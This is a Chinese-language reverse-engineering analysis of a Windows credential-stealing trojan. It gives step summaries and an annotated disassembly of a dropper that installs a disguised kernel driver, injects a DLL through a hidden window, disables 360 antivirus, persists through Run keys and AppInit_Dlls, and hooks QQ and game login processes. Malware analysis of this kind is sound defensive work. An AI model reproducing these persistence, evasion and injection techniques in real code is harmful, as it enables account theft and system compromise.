外面的exe
1. 把资源100这个驱动放到system32\drivers\HBKernel32.sys 并起来
2. 驱动0x22E007
3. 把资源102这个dll放到system32\HBQQXX.dll
4. 驱动0x22E00F 4 0
5. 创建一个临时批处理,把system32\HBQQXX.dll改成system32\X.tmp
6. 驱动0x22E00F 4 1
7. 向HBInject32窗口发送 WM_COPYDATA: HBQQXX.dll 让这个dll启动
8. 打开HBInjectMutex mutex, 不在的话,则把101放到system32\system.exe, 并起来
9. 注册设置自启动system.exe
10. 批处理自删除
00401200 55 push ebp
00401201 8BEC mov ebp,esp
00401203 81C4 5CFDFFFF add esp,-2A4
00401209 6A 00 push 0
0040120B E8 30090000 call a.00401B40 ; jmp to kernel32.GetModuleHandleA
00401210 8985 90FDFFFF mov dword ptr ss:[ebp-270],eax
00401216 68 A0000000 push 0A0
0040121B 68 00304000 push a.00403000 ; ASCII
"my.exe"
00401220 68 00304000 push a.00403000 ; ASCII
"my.exe"
00401225 E8 6F080000 call a.00401A99 解码进程名表
0040122A C745 FC FFFFFFFF mov dword ptr ss:[ebp-4],-1
00401231 E8 0E050000 call a.00401744 如果my.exe存在,则杀掉进程
00401236 6A 00 push 0
00401238 68 E1204000 push a.004020E1 ; ASCII
"AskTao"
0040123D E8 7E080000 call a.00401AC0 ;向AskTao发送0x01-0x10000的消息
00401242 E8 8A030000 call a.004015D1 注册表干坏事,灭360
00401247 6A 00 push 0
00401249 6A 00 push 0
0040124B 6A 03 push 3
0040124D 6A 00 push 0
0040124F 6A 00 push 0
00401251 68 000000C0 push C0000000
00401256 68 E8204000 push a.004020E8 ; ASCII
"\\.\slHBKernel32"
0040125B E8 AA080000 call a.00401B0A ; jmp to kernel32.CreateFileA
00401260 83F8 FF
cmp
eax,-1
00401263 0F85 EF000000 jnz a.00401358
00401269 68 04010000 push 104
0040126E 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
00401274 50 push eax
00401275 E8 D8080000 call a.00401B52 ; jmp to kernel32.GetSystemDirectoryA
0040127A 68 F9204000 push a.004020F9 ; ASCII
"\drivers\HBKernel32.sys"
0040127F 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
00401285 50 push eax
00401286 E8 27090000 call a.00401BB2 ; jmp to kernel32.lstrcatA
0040128B 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
00401291 50 push eax
00401292 6A 64 push 64
00401294 6A 0A push 0A
00401296 FFB5 90FDFFFF push dword ptr ss:[ebp-270] ; a.00400000
0040129C E8 AF050000 call a.00401850 把资源100这个驱动放到system32\drivers\HBKernel32.sys
004012A1 0BC0 or eax,eax
004012A3 0F84 B2000000 je a.0040135B
004012A9 68 3F000F00 push 0F003F
004012AE 6A 00 push 0
004012B0 6A 00 push 0
004012B2 E8 37090000 call a.00401BEE ; jmp to advapi32.OpenSCManagerA
004012B7 0BC0 or eax,eax
004012B9 0F84 97000000 je a.00401356
004012BF 8985 F0FDFFFF mov dword ptr ss:[ebp-210],eax
004012C5 6A 10 push 10
004012C7 68 11214000 push a.00402111 ; ASCII
"HBKernel32"
004012CC FFB5 F0FDFFFF push dword ptr ss:[ebp-210]
004012D2 E8 1D090000 call a.00401BF4 ; jmp to advapi32.OpenServiceA
004012D7 0BC0 or eax,eax
004012D9 75 31 jnz short a.0040130C
004012DB 6A 00 push 0
004012DD 6A 00 push 0
004012DF 6A 00 push 0
004012E1 6A 00 push 0
004012E3 68 2E214000 push a.0040212E ; ASCII
"Boot Bus Extender"
004012E8 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
004012EE 50 push eax
004012EF 6A 00 push 0
004012F1 6A 00 push 0
004012F3 6A 01 push 1
004012F5 6A 10 push 10
004012F7 68 1C214000 push a.0040211C ; ASCII
"HBKernel32 Driver"
004012FC 68 11214000 push a.00402111 ; ASCII
"HBKernel32"
00401301 FFB5 F0FDFFFF push dword ptr ss:[ebp-210]
00401307 E8 DC080000 call a.00401BE8 ; jmp to advapi32.CreateServiceA
0040130C 0BC0 or eax,eax
0040130E 74 3B je short a.0040134B
00401310 8985 ECFDFFFF mov dword ptr ss:[ebp-214],eax
00401316 6A 00 push 0
00401318 6A 00 push 0
0040131A 50 push eax
0040131B E8 EC080000 call a.00401C0C ; jmp to advapi32.StartServiceA
00401320 0BC0 or eax,eax
00401322 74 1C je short a.00401340
00401324 6A 00 push 0
00401326 6A 00 push 0
00401328 6A 03 push 3
0040132A 6A 00 push 0
0040132C 6A 00 push 0
0040132E 68 000000C0 push C0000000
00401333 68 E8204000 push a.004020E8 ; ASCII
"\\.\slHBKernel32"
00401338 E8 CD070000 call a.00401B0A ; jmp to kernel32.CreateFileA
0040133D 8945 FC mov dword ptr ss:[ebp-4],eax
00401340 FFB5 ECFDFFFF push dword ptr ss:[ebp-214]
00401346 E8 97080000 call a.00401BE2 ; jmp to advapi32.CloseServiceHandle
0040134B FFB5 F0FDFFFF push dword ptr ss:[ebp-210]
00401351 E8 8C080000 call a.00401BE2 ; jmp to advapi32.CloseServiceHandle
00401356 EB 03 jmp short a.0040135B
00401358 8945 FC mov dword ptr ss:[ebp-4],eax
0040135B 837D FC FF
cmp
dword ptr ss:[ebp-4],-1
0040135F 74 1E je short a.0040137F
00401361 6A 00 push 0
00401363 8D85 E8FDFFFF lea eax,dword ptr ss:[ebp-218]
00401369 50 push eax
0040136A 6A 00 push 0
0040136C 6A 00 push 0
0040136E 6A 00 push 0
00401370 6A 00 push 0
00401372 68 07E02200 push 22E007
00401377 FF75 FC push dword ptr ss:[ebp-4]
0040137A E8 A3070000 call a.00401B22 ; jmp to kernel32.DeviceIoControl
0040137F 68 04010000 push 104
00401384 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
0040138A 50 push eax
0040138B E8 C2070000 call a.00401B52 ; jmp to kernel32.GetSystemDirectoryA
00401390 68 40214000 push a.00402140
00401395 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
0040139B 50 push eax
0040139C E8 11080000 call a.00401BB2 ; jmp to kernel32.lstrcatA
004013A1 68 AE314000 push a.004031AE ; ASCII
"HBQQXX.dll"
004013A6 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
004013AC 50 push eax
004013AD E8 00080000 call a.00401BB2 ; jmp to kernel32.lstrcatA
004013B2 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
004013B8 50 push eax
004013B9 6A 66 push 66
004013BB 6A 0A push 0A
004013BD FFB5 90FDFFFF push dword ptr ss:[ebp-270] ; a.00400000
004013C3 E8 88040000 call a.00401850 把资源102这个dll放到system32\HBQQXX.dll
004013C8 0BC0 or eax,eax
004013CA 0F85 DB000000 jnz a.004014AB
004013D0 68 04010000 push 104
004013D5 8D85 F4FDFFFF lea eax,dword ptr ss:[ebp-20C]
004013DB 50 push eax
004013DC E8 71070000 call a.00401B52 ; jmp to kernel32.GetSystemDirectoryA
004013E1 8D85 F4FDFFFF lea eax,dword ptr ss:[ebp-20C]
004013E7 50 push eax
004013E8 6A 00 push 0
004013EA 6A 00 push 0
004013EC 8D85 F4FDFFFF lea eax,dword ptr ss:[ebp-20C]
004013F2 50 push eax
004013F3 E8 60070000 call a.00401B58 ; jmp to kernel32.GetTempFileNameA
004013F8 8D85 F4FDFFFF lea eax,dword ptr ss:[ebp-20C]
004013FE 50 push eax
004013FF E8 18070000 call a.00401B1C ; jmp to kernel32.DeleteFileA
00401404 8D85 F4FDFFFF lea eax,dword ptr ss:[ebp-20C]
0040140A 50 push eax
0040140B 6A 20 push 20
0040140D 8D85 5CFDFFFF lea eax,dword ptr ss:[ebp-2A4]
00401413 50 push eax
00401414 E8 2B060000 call a.00401A44
00401419 8D85 5CFDFFFF lea eax,dword ptr ss:[ebp-2A4]
0040141F 50 push eax
00401420 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
00401426 50 push eax
00401427 FF75 FC push dword ptr ss:[ebp-4]
0040142A E8 79040000 call a.004018A8 4.5.6.
0040142F 6A 04 push 4
00401431 6A 00 push 0
00401433 8D85 F4FDFFFF lea eax,dword ptr ss:[ebp-20C]
00401439 50 push eax
0040143A E8 3D070000 call a.00401B7C ; jmp to kernel32.MoveFileExA
0040143F 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
00401445 50 push eax
00401446 6A 66 push 66
00401448 6A 0A push 0A
0040144A FFB5 90FDFFFF push dword ptr ss:[ebp-270] ; a.00400000
00401450 E8 FB030000 call a.00401850
00401455 0BC0 or eax,eax
00401457 74 52 je short a.004014AB
00401459 68 42214000 push a.00402142 ; ASCII
"HBInject32"
0040145E 6A 00 push 0
00401460 E8 6B070000 call a.00401BD0 ; jmp to user32.FindWindowA
00401465 0BC0 or eax,eax
00401467 74 42 je short a.004014AB
00401469 8985 8CFDFFFF mov dword ptr ss:[ebp-274],eax
0040146F C785 80FDFFFF 0000>mov dword ptr ss:[ebp-280],0
00401479 68 AE314000 push a.004031AE ; ASCII
"HBQQXX.dll"
0040147E E8 41070000 call a.00401BC4 ; jmp to kernel32.lstrlenA
00401483 8985 84FDFFFF mov dword ptr ss:[ebp-27C],eax
00401489 8D05 AE314000 lea eax,dword ptr ds:[4031AE]
0040148F 8985 88FDFFFF mov dword ptr ss:[ebp-278],eax
00401495 8D85 80FDFFFF lea eax,dword ptr ss:[ebp-280]
0040149B 50 push eax
0040149C 6A 00 push 0
0040149E 6A 4A push 4A
004014A0 FFB5 8CFDFFFF push dword ptr ss:[ebp-274]
004014A6 E8 31070000 call a.00401BDC ; jmp to user32.SendMessageA
004014AB 68 4D214000 push a.0040214D ; ASCII
"HBInjectMutex"
004014B0 6A 00 push 0
004014B2 68 03001F00 push 1F0003
004014B7 E8 C6060000 call a.00401B82 ; jmp to kernel32.OpenMutexA
004014BC 0BC0 or eax,eax
004014BE 0F85 A4000000 jnz a.00401568
004014C4 E8 6B060000 call a.00401B34 ; jmp to ntdll.RtlGetLastWin32Error
004014C9 83F8 02
cmp
eax,2
004014CC 0F85 9C000000 jnz a.0040156E
004014D2 68 04010000 push 104
004014D7 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
004014DD 50 push eax
004014DE E8 6F060000 call a.00401B52 ; jmp to kernel32.GetSystemDirectoryA
004014E3 68 5B214000 push a.0040215B ; ASCII
"\System.exe"
004014E8 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
004014EE 50 push eax
004014EF E8 BE060000 call a.00401BB2 ; jmp to kernel32.lstrcatA
004014F4 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
004014FA 50 push eax
004014FB 6A 65 push 65
004014FD 6A 0A push 0A
004014FF FFB5 90FDFFFF push dword ptr ss:[ebp-270] ; a.00400000
00401505 E8 46030000 call a.00401850
0040150A 0BC0 or eax,eax
0040150C 74 58 je short a.00401566
0040150E C785 A4FDFFFF 4400>mov dword ptr ss:[ebp-25C],44
00401518 8D85 A4FDFFFF lea eax,dword ptr ss:[ebp-25C]
0040151E 50 push eax
0040151F E8 28060000 call a.00401B4C ; jmp to kernel32.GetStartupInfoA
00401524 8D85 94FDFFFF lea eax,dword ptr ss:[ebp-26C]
0040152A 50 push eax
0040152B 8D85 A4FDFFFF lea eax,dword ptr ss:[ebp-25C]
00401531 50 push eax
00401532 6A 00 push 0
00401534 6A 00 push 0
00401536 6A 00 push 0
00401538 6A 00 push 0
0040153A 6A 00 push 0
0040153C 6A 00 push 0
0040153E 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-108]
00401544 50 push eax
00401545 6A 00 push 0
00401547 E8 C4050000 call a.00401B10 ; jmp to kernel32.CreateProcessA
0040154C 0BC0 or eax,eax
0040154E 74 16 je short a.00401566
00401550 FFB5 94FDFFFF push dword ptr ss:[ebp-26C]
00401556 E8 A9050000 call a.00401B04 ; jmp to kernel32.CloseHandle
0040155B FFB5 98FDFFFF push dword ptr ss:[ebp-268]
00401561 E8 9E050000 call a.00401B04 ; jmp to kernel32.CloseHandle
00401566 EB 06 jmp short a.0040156E
00401568 50 push eax
00401569 E8 96050000 call a.00401B04 ; jmp to kernel32.CloseHandle
0040156E 837D FC FF
cmp
dword ptr ss:[ebp-4],-1
00401572 74 08 je short a.0040157C
00401574 FF75 FC push dword ptr ss:[ebp-4]
00401577 E8 88050000 call a.00401B04 ; jmp to kernel32.CloseHandle
0040157C 8D85 7CFDFFFF lea eax,dword ptr ss:[ebp-284]
00401582 50 push eax
00401583 68 3F000F00 push 0F003F
00401588 6A 00 push 0
0040158A 68 67214000 push a.00402167 ; ASCII
"Software\Microsoft\Windows\CurrentVersion\Run"
0040158F 68 02000080 push 80000002
00401594 E8 67060000 call a.00401C00 ; jmp to advapi32.RegOpenKeyExA
00401599 0BC0 or eax,eax
0040159B 75 26 jnz short a.004015C3
0040159D 6A 0B push 0B
0040159F 68 A1214000 push a.004021A1 ; ASCII
"System.exe"
004015A4 6A 01 push 1
004015A6 6A 00 push 0
004015A8 68 95214000 push a.00402195 ; ASCII
"HBService32"
004015AD FFB5 7CFDFFFF push dword ptr ss:[ebp-284]
004015B3 E8 4E060000 call a.00401C06 ; jmp to advapi32.RegSetValueExA
004015B8 FFB5 7CFDFFFF push dword ptr ss:[ebp-284]
004015BE E8 37060000 call a.00401BFA ; jmp to advapi32.RegCloseKey
004015C3 E8 38FAFFFF call a.00401000
004015C8 6A 00 push 0
004015CA E8 59050000 call a.00401B28 ; jmp to kernel32.ExitProcess
004015CF C9 leave
004015D0 C3 retn
------------------------------------------------------------------------
system.exe
1. 创建 HBInjectMutex mutex
2. 打开驱动\\.\slHBKernel32, 没有就先起驱动
3. 驱动0x22E007
4. 驱动0x22E00B 4 PID ?
5. 创建隐藏窗口HBInject32
WM_CREATE: 解码dll表, 建定时器
WM_CLOSE: 把当前的dll给StopServiceEx
WM_QUERYENDSESSION: 把当前的dll给StopServiceEx
WM_COPYDATA: 收到dll名字后(这个版本是HBQQXX.dll), 先把当前的这个dll给StopServiceEx, 再加载新的,StartSeviceEx
WM_TIMER: 1.
"Software\Microsoft\Windows NT\CurrentVersion\Windows"
AppInit_Dlls
"Software\Microsoft\Windows\CurrentVersion\Run"
system.exe
2. 一个一个加载上面那些dll(其实是N个版本), 调用他们的StartServiceEx
3. 杀360
------------------------------------------------------------------------
HBQQXX.dll
StartServiceEx: setwindowshook
StopServiceEx: stophook
dllmain: 只搞tty3d.exe和qqlogin.exe 怎么盗的没兴趣
------------------------------------------------------------------------
HBKernel32.sys
idb